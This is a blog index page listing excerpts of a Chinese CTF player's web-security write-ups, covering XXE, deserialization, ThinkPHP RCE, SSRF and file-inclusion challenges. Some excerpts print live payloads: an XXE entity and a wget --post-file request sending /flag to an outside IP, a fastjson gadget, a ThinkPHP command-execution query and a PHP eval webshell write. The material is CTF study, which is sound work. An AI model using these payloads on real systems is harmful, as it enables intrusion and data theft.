- 博客(82)
- 问答 (2)
- 收藏
- 关注
原创 d^3CTF web部分wp
d3oj提示是尝试用oct用户登陆,翻组件版本看到个合适的https://hackerone.com/reports/869574编辑文章哪里很明显POST /article/0/edit HTTP/1.1Host: xxxUser-Agent: xxAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0
2022-03-07 20:09:07
1155
原创 《深入理解java虚拟机》读书笔记1-类文件结构
《深入理解java虚拟机》读书笔记1-类文件结构最近在看周志明老师写的《深入理解java虚拟机》,学到了很多,也有很多没理解的地方,觉得需要做读书笔记。无关性基石java虚拟机不与包括java语言在内的任何程序语言绑定,直至今日,商业企业和开源机构已经在java语言之外发展出一大批运行在java虚拟机之上的语言,比如Kotlin、Clojure、Groovy、JRuby、JPython、Scala等。java虚拟机它只与”calss文件“这种特定的二进制文件格式所关联。class文件中包含了java虚
2022-03-03 15:21:25
622
原创 [羊城杯 2020]A Piece Of Java
[羊城杯 2020]A Piece Of Java源码逻辑不难,在hello路由对设置cookie键名为data进行反序列化问题是用的是seriakiller进行的反序列化,并且用的白名单限制。虽然题目自带了CC但是因为这个设置没法直接用。看一下题目给的条件,有个InfoInvocationHandlerpackage gdufs.challenge.web.invocation;import gdufs.challenge.web.model.Info;import java.io.S
2022-01-26 18:17:42
2411
2
原创 [SWPU2019]Web5
[SWPU2019]Web5题目给了个导入导出通讯录的功能,导出为xlsx文件,所以猜测是解析excel引起的xxe验证一下对[Content_Types].xml写入poc之后再压缩回去<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANYTHING [<!ENTITY % test SYSTEM "http://124.70.40.5:1234">%test;验证了xxe存在.无法直接读flag,利用jav
2022-01-25 22:04:31
747
原创 CVE-2019-14439以及[NPUCTF2020]EzShiro复现
CVE-2019-14439是由logback 引起的 jndi 注入,找不到详细分析的文章,对着网上的poc简单看了一下。在ch.qos.logback.core.db.JNDIConnectionSource这个类里漏洞原理并不复杂,很清晰明了的jndi注入。pocpackage Jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class
2021-12-22 12:40:44
5507
3
原创 2021安洵杯ezjson-wp
ezjson比赛只做了前两道web,这道题没去看了,因为当时看做出来的人不多就去复习了,今天有空看一下题。fd文件可以泄露 jar文件下到源码。题目环境不出网没法jndi。但题目本身留了加载字节码后门。fastjson版本1.2.47,有个通杀payload{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@t
2021-12-02 12:23:29
1277
3
原创 2021西湖论剑web部分wp
前言快期末了 忙里偷闲打了西湖论剑,队伍第七,又被队友带飞了,web题目质量还可以OA?RCE?环境没有写的权限,本地有打通环境打不通的情况很多之后在webmain/index/indexAction.php处有个包含任意php文件有个查看phpinfo的看了之后开着register_argc_argv,尝试包含pearcmdpayload第一步?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2x
2021-11-21 12:01:36
2041
原创 2021湖湘杯web部分wp
前言快期末了这学期准备退役了,下学期继续努力(大二课怎么这么多啊!!!期末考怎么办啊!!!一节课没听啊!!!)今天上线看看题easywill这题没啥好说,跟tp3的rce差不多直接?name=cfile&value=/etc/passwd就能文件包含,之后找不到flag,用拟态的的那个包含pearcmd.php就能getshellPentest in Autumn下个pom.xml附件 看到shiro<?xml version="1.0" encoding="UTF-8"
2021-11-14 20:00:19
1925
2
原创 陇原战疫web部分wp
webCheckIN下载源码,看到这里这里调用wget,并且参数可控,可以直接外带数据,查看绑定路由尝试访问/wget?argv=1这里应该是出题人失误,无需登录可直接访问,利用–post-file参数直接外带文件payload/wget?argv=fmyyy&argv=--post-file&argv=/flag&argv=http://124.70.40.5:1234服务器开个监听直接打就行eaaasyphp反序列化,有个file_put_conten
2021-11-08 10:41:57
915
原创 长城杯线下赛赛后复现
长城杯线下赛赛后复现前言去打了长城杯决赛,结果全程坐牢,果然不联网的web太难了,赛后拿到了两个web靶机的wp,复现一下。fancyapi目录结构逻辑很简单,web用的是python的flask框架,然后go写了几个接口处理数据。看看backend.gofunc Flag(w http.ResponseWriter, r *http.Request ) { action:= r.URL.Query().Get("action") if action == "" { fail(w,
2021-10-14 07:29:30
1590
2
原创 一条laravel5.1的反序列化链子
title: 一条laravel5.1的链子 date: 2021-09-10 21:14:04categories: 框架comments: truetoc: true## 前言挖一整天才挖出这一条,主要是钻牛角尖了,逮着一个地方使劲找链子。poc先放poc吧<?phpnamespace Illuminate\Database\Eloquent { class FactoryBuilder { protected $definitions;.
2021-09-22 12:00:21
506
1
原创 2021第五空间webakwp
前言挺傻逼的,5道web题全是静态靶机,三道rce题,一直有人搅屎,不知道主办方咋想的。附一张图不过也算是ak了web 总体感觉还不错webftp这题就要说到搅屎的问题了,我直接扫路径扫到1.txt看到flag,大概是哪位大师傅放的赛后跟别的师傅聊了一下,预期解是github上能下载源码然后看就行。EasyCleanup源码逻辑很简单,给了phpinfo和任意文件包含这里的 session.upload_progress.cleanup 是off的,不会自动清除session文件那
2021-09-18 13:19:34
1265
1
原创 2021祥云杯web 部分wp
ezyii说是最新的链子,题目把文件都筛选好了让我们找。写一下我的思路看到RunProcess类<?phpnamespace Codeception\Extension;class RunProcess{ protected $output; protected $config = ['sleep' => 0]; protected static $events = []; private $processes = []; publ
2021-08-23 17:06:42
840
5
原创 thinkphp5 未开启强制路由RCE
演示版本5.0.15最终是利用反射调用函数执进行RCEapplication/config.php下强制路由默认为false从payload来看?s=index/\think\app/ &function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2021-07-28 21:20:43
560
原创 thinkphp5.0.x RCE
ThinkPHP 5.0.x (<=5.0.23)5.0.23->5.0.24 对method方法添加了过滤,该方法为获取请求类型,5.0.24中只允许method为常用的几个方法,否则就将其置为POST方法。在/thinkphp/library/think/Request.php下的filterValue函数下的第五行,调用了call_user_func()方法 private function filterValue(&$value, $key, $filters)
2021-07-28 13:00:51
630
原创 ctfshow ssrf
351url=http://127.0.0.1/flag.php352在上题的基础上加了过滤if(!preg_match('/localhost|127.0.0/'))这道题绕过方法挺多可以把127.0.0.1进制转换一下ip地址进制转换或者http://127.0.1/flag,phphttp://127.1/flag,php353同上354Y4师傅说了很多方法355host长度限制为5了url=http://127.1/flag或者url=http://0/flag.
2021-07-18 15:10:22
279
2
原创 ctfshow nodejs篇
334源码给了 登录成功就能拿到flagvar express = require('express');var router = express.Router();var users = require('../modules/user').items; var findUser = function(name, password){ return users.find(function(item){ return name!=='CTFSHOW' && item
2021-07-16 22:57:09
1255
1
原创 ctfshow web310
跟前面308 309同一个源码,只是mysql添加了密码不能ssrf了跟309一样不过这题的flag不能直接读,找了一下,web目录下面的flag是假的,真的在/var/flag里面,无法直接用ssrf读到,但写个木马用蚁剑连接就能读到了同样的 利用gopherus工具生成payloadecho "<?php @eval(\$_POST[a]); ?>" > /var/www/html/1.php之后蚁剑连接flag在var/flag目录下的index.html里面补充
2021-07-15 12:42:26
221
1
原创 ctfshow web308 ssrf
在index.php里$service = unserialize(base64_decode($_COOKIE['service']));if($service){ $lastVersion=$service->checkVersion();}在dao.php中有checkVersion方法checkUpdatefunction checkUpdate($url){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $ur.
2021-07-15 11:57:04
450
原创 ctfshow web307
是代码审计专题的下载到源码主要在dao.php和logout.php里面dao.php里有个dao类,里面有个方法在看logout.php反序列化dao类 控制config里的cache_dir为我们的命令即可。不过shell_exec函数有个特点也就是说没回显,但写入文件就可以了,或者也可以反弹shell<?phpclass config{ public $cache_dir = 'aaa/*;cat /var/www/html/flag.php > /va
2021-07-14 23:16:14
346
1
原创 ctfshow web40利用session进行rce
期末考考完了应该继续学习网安了。之前一段时间去尝试挖cnvd,也是混到了自己的第一张cnvd证书,虽然是没有什么技术含量的洞,但也让我觉得很开心。放出来分享一下但证书都是次要的,重要的是自己能力的提升。之前买了ctfshow的vip题,遇到了一个之前不知道的trick,记录一下。源码<?phpif(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&
2021-07-08 14:14:40
529
原创 oscplike:Kioptix Level 1渗透笔记
因为靶机都是在内网的,省时间写了个bash脚本利用ping命令快速探测存活主机。不过一般都是用nmap#!/bin/bashif [ $1 == ""]then echo "Usage: ./pingsweep.sh [network]"echo "Example: ./pingsweep.sh 192.168.1"elsefor ip in `seq 1 254`; doping -c 1 $1.$ip | grep "64 bytes" | cut -d " " -f 4 | sed
2021-05-31 18:42:50
321
原创 [GYCTF2020]Node Game
一道nodejs题,可以直接拿到源码var express = require('express');var app = express();var fs = require('fs');var path = require('path');var http = require('http');var pug = require('pug');var morgan = require('morgan');const multer = require('multer');app.use(
2021-05-29 21:37:19
771
1
原创 [HarekazeCTF2019]Sqlite Voting
看提示应该是sqlite注入可以直接下载到数据库结构和源码DROP TABLE IF EXISTS `vote`;CREATE TABLE `vote` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` TEXT NOT NULL, `count` INTEGER);INSERT INTO `vote` (`name`, `count`) VALUES ('dog', 0), ('cat', 0), ('zebra', 0).
2021-05-27 20:34:07
616
1
原创 [网鼎杯 2020 玄武组]SSRFMe
第一次做redis相关的题目。主要考点是redis主从复制rce<?phpfunction check_inner_ip($url){ $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_pars
2021-05-27 16:01:21
527
2
原创 [HITCON 2016]Leaking
"use strict";var randomstring = require("randomstring");var express = require("express");var { VM} = require("vm2");var fs = require("fs");var app = express();var flag = require("./config.js").flagapp.get("/", function(req, res) { res.he
2021-05-25 20:31:26
379
2
原创 [WMCTF2020]Make PHP Great Again
源码<?phphighlight_file(__FILE__);require_once 'flag.php';if(isset($_GET['file'])) { require_once $_GET['file'];}解法一这一看就是session.upload_progress文件包含import ioimport requestsimport threadingsessid = 'bbbbbbb'data = {"cmd":"system('cat flag.ph
2021-05-25 14:53:30
1377
原创 buu reserve xor+reserve3
xorida(64)打开主函数伪代码查看global并导出脚本处理list = [0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11, 0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F, 0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F, 0x47, 0x32, 0x4F, 0x00].
2021-05-24 21:05:49
202
1
原创 [XDCTF 2015]filemanager
www.tar.gz下载到源码。结构审计后发现有很多对数据库的操作,猜测存在注入。文件名采取白名单对后缀名过滤,不能直接上传php文件,upload.php里面对文件名进行了addslashes转义,不存在直接注入。commom.inc.php中对所有请求参数也进行了转义看到rename.php<?php/** * Created by PhpStorm. * User: phithon * Date: 15/10/14 * Time: 下午9:39 */requir
2021-05-23 18:37:19
670
2
原创 [极客大挑战 2020]Greatphp
知识点php原生类的利用源码<?phperror_reporting(0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($th
2021-05-22 16:15:45
1453
3
原创 利用session.upload_progress进行文件包含
这次ciscn有一道web题考的就是这个知识点,但当时没有尝试去扫路径,被开头给的源码卡死了有点儿遗憾,不过还是想自己复现一下这个小trick。先来看看php手册对此的描述。我们可以post session.upload_progress参数,写入木马。这个选项可以让我们自己定义文件名。例如,控制phsession=flag,则文件名就变为/tmp/sess_flag这里还有一个配置选项是默认开启的session.upload_progress.cleanup,这个选项会让post进程结束时
2021-05-21 21:43:10
449
3
原创 buuctf re1-3
最近开始学逆向了,入门题应该纪念一下。easyre丢ida知乎shift+f12搜索字符串即可reverse1查找字符串进入该函数查看伪代码。输入跟str2比较,查看str2为{hello_world}再看看伪代码上面的函数 for ( j = 0; ; ++j ) { v8 = j; v2 = j_strlen(Str2); if ( v8 > v2 ) break; if ( Str2[j] == 111 )
2021-05-21 21:09:57
230
原创 [RootersCTF2019]babyWeb
提示过滤了 union sleep 单双引号 or和benchmark。很明显的报错注入。最后?search=1 and (updatexml(1,concat(0x7e,((select group_concat(uniqueid) from users)),0x7e),1));?search=1 and (updatexml(1,concat(0x7e,(substr((select group_concat(uniqueid) from users),32,50)),0x7e),1));8.
2021-05-21 17:22:11
346
1
原创 [NESTCTF 2019]Love Math 2
源码 <?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){ show_source(__FILE__);}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 60) { die("太长了不会算"); } $blacklist = [' ', '\t',
2021-05-20 19:46:26
757
原创 [RCTF 2019]Nextphp
场景源码就相当于一个一句话木马。肯定没这么简单,先看看phpinfodisable_functions里禁掉了不少函数刚开始想的是用file_put_contents函数写shell再用蚁剑插件绕过disable_functions,但测试后不行,不过也得到了一些有用的信息。有个preload.php<?phpfinal class A implements Serializable { protected $data = [ 'ret' => null
2021-05-18 19:19:17
888
1
原创 [CISCN2019 华东北赛区]Web2
这次ciscn差点爆0了。。。还是多练练吧。注册账号登录,看到投稿和反馈两个页面。发表查看直接将我们输入的文章内容显示在了页面上,猜测存在xss。测试没有内容也没有弹窗看源码我们的语句被放入了源码,但似乎被编码了。导致没有执行。这个反馈界面应该是模拟管理员点击链接的过程。...
2021-05-17 21:32:07
761
3
原创 [XNUCA2019Qualifier]EasyPHP
文章目录非预期解一<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_G
2021-05-13 18:56:35
984
原创 [SUCTF 2018]annonymous
<?php$MY = create_function("","die(`cat flag.php`);");$hash = bin2hex(openssl_random_pseudo_bytes(32));eval("function SUCTF_$hash(){" ."global \$MY;" ."\$MY();" ."}");if(isset($_GET['func_name'])){ $_GET["func_name"](); die();}
2021-05-12 20:05:02
447
1
原创 [N1CTF 2018]eating_cms
场景抓个包看到直接给出了sql语句,测试之后发现很难饶过,访问register.php注册账号进入。url里的page参数很容易想到文件读取,用伪协议读源码。php://filter/read=convert.base64-encode/resource=user主要是user.php和function.phpuser.php<?phprequire_once("function.php");if( !isset( $_SESSION['user'] )){ Header
2021-05-12 17:43:47
920
10
空空如也
.htaccess配置问题
2021-05-13
macbook g++编译报错
2021-05-11
TA创建的收藏夹 TA关注的收藏夹
TA关注的人